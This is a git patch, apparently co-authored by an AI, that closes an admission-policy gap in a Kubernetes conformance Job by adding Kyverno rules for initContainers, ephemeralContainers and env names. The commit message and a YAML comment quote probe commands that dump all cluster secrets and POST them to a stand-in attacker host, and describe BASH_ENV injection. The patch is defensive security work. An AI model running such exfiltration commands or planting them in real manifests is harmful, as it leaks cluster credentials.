From 9f018aa101fe45bd82f058f60b44eba77f9d0f27 Mon Sep 17 00:00:00 2001 From: Keith Jackson Date: Tue, 29 Sep 2026 22:44:07 -0500 Subject: [PATCH] =?UTF-8?q?fix(sec):=20the=20trigger=20policy=20read=20`co?= =?UTF-8?q?ntainers`=20and=20nothing=20else=20=E2=80=94=20initContainers,?= =?UTF-8?q?=20ephemeralContainers=20and=20env=20were=20all=20open?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed. MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant, `serviceAccountName: conformance-runner`: * a `privileged: true` `docker.io/library/alpine:latest` initContainer running `kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED * the committed template with ONLY the init container's args swapped for `kubectl get secrets -A | curl -X POST ... http://evil.invalid/` -> pass: 3, fail: 0 ADMITTED Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` and `env` were equally unread. Four new rules: * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege escalation, not privileged. * trigger-may-not-declare-ephemeral-containers. * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash sources it before running a non-interactive script, and the runner's command IS one. * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job. All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one element matches", so a pattern-based init rule would have admitted the committed clone step PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I nearly wrote it that way. THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the committed script from an attacker's, because both are just data. The logic now lives in the image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone` (agent 1, PR #18 — which must merge before this template is usable). I had written a second copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into the image and one not, drifts into "the reviewed file is not the file that runs". I read theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN, baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under /workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and `rev-parse HEAD == SHA`. Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are legitimately environment-specific, and conformance-runner can already read this namespace's Secrets via its own RBAC. Names are the vector, because a name is what a program keys on. Two Kyverno traps, commented in the rules because both silently invert the result: `not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so `allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and `join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable and element-wise matching lets `["/bin/sh","-c",...]` through on element 0. ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements ` fail on the runner image, which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant — `requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`, and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to `--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args allowlist is deliberately NOT narrowed to match — a security boundary should not encode which toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than escalating. PROVEN, NOT ASSERTED (7 rules): real rendered template -> pass: 7, fail: 0 coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1) ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1) Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in decisions/2026-09-29-conformance-job-template.md. Every evil init/ephemeral/env case still PASSES the three original rules — that column is the finding. `injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env, which is why env had to be its own rule. UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all. Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether that check reaches a nested pod template is not something I could establish without a `create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule added regardless: a no-op if upstream rejects it, the same hole if not. Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources), render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE UNDETERMINED rc 3. Nothing FAILED. Co-Authored-By: Claude Opus 5 (1M context) --- conformance/incluster/README.md | 50 ++-- conformance/incluster/chainsaw-job.yaml | 197 +++++++------- docs/plans/l2-l3-conformance-ci-wiring.md | 38 ++- .../conformance-trigger-job-shape.yaml | 233 ++++++++++++++++ .../conformance-trigger/kyverno-test.yaml | 59 ++++ .../tests/conformance-trigger/resources.yaml | 251 +++++++++++++++++- 6 files changed, 704 insertions(+), 124 deletions(-) diff --git a/conformance/incluster/README.md b/conformance/incluster/README.md index b7ab45a..50bf412 100644 --- a/conformance/incluster/README.md +++ b/conformance/incluster/README.md @@ -26,11 +26,21 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). test lands. This is a **privileged test identity**: never reused by workloads, its own audit item. - `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per - run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the + run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the commit under test; artifacts leave over stdout. Its header is the authority on the - substitution tokens, the admission constraints it satisfies, and **an open security gap - in the admission policy that it documents and does not exploit** — read it before - editing either file. + substitution tokens and the admission constraints it satisfies, and records the + `initContainers` hole that was found and closed alongside it — read it before editing + either file. +- `conformance-clone` — **arrives with PR #18**, not this one. The clone init container's + entire logic, baked into the runner image at `/usr/local/bin/conformance-clone`. It is a + file in the image rather than an inline script in the Job precisely so admission can pin + it: a policy cannot tell the committed script from an attacker's when both are just `args` + on `/bin/bash -c`. The repository URL and clone target are hardcoded **there** on purpose, + and `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than + honoured — a URL taken from env would let the trigger choose which repository's code runs + as `conformance-runner`. This branch's Job depends on that interface: + `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src` + (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`. ## Flow 1. CI (Gitea Actions) renders `chainsaw-job.yaml` — two `@@TOKEN@@` substitutions, the @@ -39,12 +49,13 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**). 2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary. -3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit - if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD` - equals the requested SHA** — the suite runs at the commit under test or not at all. The - read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret - `conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows - no volume but `workspace` and `results`. +3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it + shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does + not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** — + the suite runs at the commit under test or not at all. The read-only Gitea credential + reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys + `username`/`token`), never as a volume: admission allows no volume but `workspace` and + `results`. 4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` + `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`). 5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to @@ -53,13 +64,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead of decoding to plausible garbage. -## Operator prerequisites (out of GitOps — neither exists yet) -- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and +## Prerequisites before this Job can run at all +- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and `token`: a **read-only** Gitea token for this repository. Never a write token or a - push-capable deploy key. -- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the - trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and - a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin. + push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6). +- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge + before this template is usable; its digest is what the trigger substitutes. Contract the + image MUST meet, because the Job and the admission policy both depend on it: + - bash, git, python3, chainsaw and kubectl on `PATH`; + - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different + uid in the Containerfile means the Job will not start; + - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**, + mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins + that exact path, so an image without it cannot run the clone step and no other path will + be admitted. ## Phase 0 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux diff --git a/conformance/incluster/chainsaw-job.yaml b/conformance/incluster/chainsaw-job.yaml index 5a27dc1..4214c5e 100644 --- a/conformance/incluster/chainsaw-job.yaml +++ b/conformance/incluster/chainsaw-job.yaml @@ -39,42 +39,70 @@ # resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. # # ----------------------------------------------------------------------------- -# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !! +# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29) # ----------------------------------------------------------------------------- -# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template, -# replace ONLY the init container's `args` with -# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ -# and leave `containers[0]` untouched and compliant. Result: -# Applying 3 policy rule(s) to 1 resource(s)... -# pass: 3, fail: 0, warn: 0, error: 0, skip: 0 -# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's -# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never -# examined, so the exact escalation the policy exists to stop — the privileged -# conformance-runner SA executing an arbitrary command — is still reachable, one field -# over. This template's OWN init container does not exploit that; the gap is the policy's, -# and it existed before this file had an init container at all. +# As originally written, the policy read only `spec.template.spec.containers` (rule 1's +# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was +# never examined, so the exact escalation the policy exists to stop was reachable one +# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully +# compliant: +# +# * this template with ONLY the init container's args replaced by +# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/` +# * and (the coordinator's independent reproduction) a `privileged: true` +# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A` +# +# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED +# +# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`. +# +# Closed by new rules in that policy, authorised by the coordinator in this PR +# (the original brief forbade policy edits; that was to stop the boundary being BENT to +# fit a Job, not to stop a hole being closed): +# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init +# container, on the digest-pinned runner image, `command: +# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation, +# not privileged. The clone logic moved OUT of this manifest and into the image for +# exactly this reason: a policy cannot vet a shell script passed as `args`, so the +# script had to stop being caller-supplied data. It stays reviewable as +# conformance/incluster/conformance-clone. +# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same +# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not +# verified here, and the rule costs nothing if it is true. +# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env` +# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable +# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash +# sources it before running a non-interactive script. Names are allowlisted per container; +# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately +# environment-specific, and conformance-runner can already read this namespace's Secrets +# through its own RBAC, so pinning the source would buy nothing). +# +# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ — +# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`, +# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`, +# `envfrom-whole-secret` — so they stay failing. +# +# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the +# committed shape" policy is only as good as its enumeration of every field that can carry +# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and +# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none +# does, that is the finding, not an oversight to work around. +# +# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed +# on a mismatch rather than honoured) for exactly this reason. Do not move it into env. # -# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs -# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it. -# FOLLOW-UP, in order of preference: -# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and -# add a 4th rule pinning `initContainers` to one container on the same digest-pinned -# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an -# init container carries no caller-supplied code at all and the rule is one pattern. -# 2. Failing that, a rule denying any `initContainers` entry whose image is not the -# pinned runner image — weaker (the script stays caller-supplied) but it at least -# stops an arbitrary image running as conformance-runner. # Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is # supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. # # ----------------------------------------------------------------------------- # WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` # ----------------------------------------------------------------------------- -# The placeholder syntax is deliberately NOT shell syntax. The init container below is a -# bash script full of legitimate `${...}` references; running the template through -# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving -# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render -# this". Render with a two-token sed, nothing cleverer: +# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by +# `envsubst`, which has no way to tell a token meant for rendering from a shell reference +# that belongs to a script — a trap this file walked into while the clone logic was still an +# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a +# rendered manifest is trivially greppable as "the trigger forgot to render this". Render +# with a two-token sed, nothing cleverer: # # sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ # -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml @@ -88,13 +116,39 @@ # REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder # or an injected value is a hard failure, never a run of the wrong tree. # -# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the -# trigger REPLACES it wholesale per invocation shape — -# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo", -# "--requirements", ""] -# PHASE EXIT: ["--layer", "all", "--strict-coverage"] -# Keeping it a committed list (not a substituted scalar) is what lets this file be handed -# to `kyverno apply` as-is. +# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per +# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this +# file be handed to `kyverno apply` as-is. +# +# ----------------------------------------------------------------------------- +# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3 +# ----------------------------------------------------------------------------- +# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT +# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a +# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not +# offline-only, and those stages need exactly those missing tools. Tracing run.sh: +# +# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all; +# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/. +# +# so: +# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS. +# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS. +# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO +# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS. +# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that +# requirement's L0/L1 tests into the run. FAILS on the missing toolchain. +# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS. +# +# The first three are measured working by the image build (PR #18); the last two are measured +# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a +# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone. +# The committed default below is the narrowest shape that works. +# +# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a +# security boundary should not encode which toolchain an image happens to ship, and the failure +# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This +# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land. # # ----------------------------------------------------------------------------- # RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable @@ -152,67 +206,25 @@ spec: # --------------------------------------------------------------------- # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. # - # The credential is a READ-ONLY Gitea token, referenced by secret name only. It - # reaches git through an inline credential helper that reads the ENVIRONMENT, so - # the token never appears in argv (where `ps` and the Pod spec would show it) and - # is never written to disk. + # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at + # conformance/incluster/conformance-clone and is baked into the runner image at + # /usr/local/bin/conformance-clone. That is what makes the init container + # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` + + # `args: [